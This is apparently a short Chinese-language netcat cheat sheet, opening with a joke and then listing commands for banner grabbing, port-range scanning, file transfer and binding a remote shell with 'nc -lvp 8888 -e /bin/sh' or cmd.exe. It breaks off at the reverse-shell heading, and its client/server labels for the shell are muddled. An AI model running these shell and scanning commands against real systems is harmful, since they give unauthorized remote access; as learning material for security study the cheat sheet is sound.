Windows/Linux 下nc 反弹shell
高二那年班主任对我们说:其实我并不反对你们谈恋爱,
只是你们记得要找一个有担当的,
那些一看见老师就松开你手的,要来有什么用?
NC概述:
- nc又名netcat,一个简单而有用的工具,可以干很多事情,但是不可以吃。
- 何为反弹shell?为什么不反弹攻击?
相信你有一天可以直接把所有攻击反弹回去的.
常用命令
banner获取
nc -nv ip port
连接远程主机
nc -nvv ip port
端口扫描
nc -v ip port //指定端口
nc -v -z ip 1-1555 //指定端口段
文件传输
nc -lvp 8888 < test.txt 服务端
nc -nv 服务端ip 8888 > test.txt 客户端
获取shell
正向shell:客户端想要获取服务器shell
客户端监听
nc -lvp 8888 -e /bin/sh
nc -lvp 8888 -e c:\windows\system32\cmd.exe
服务端反弹
nc 服务端ip 8888
反向shell:服务端想要获取客户端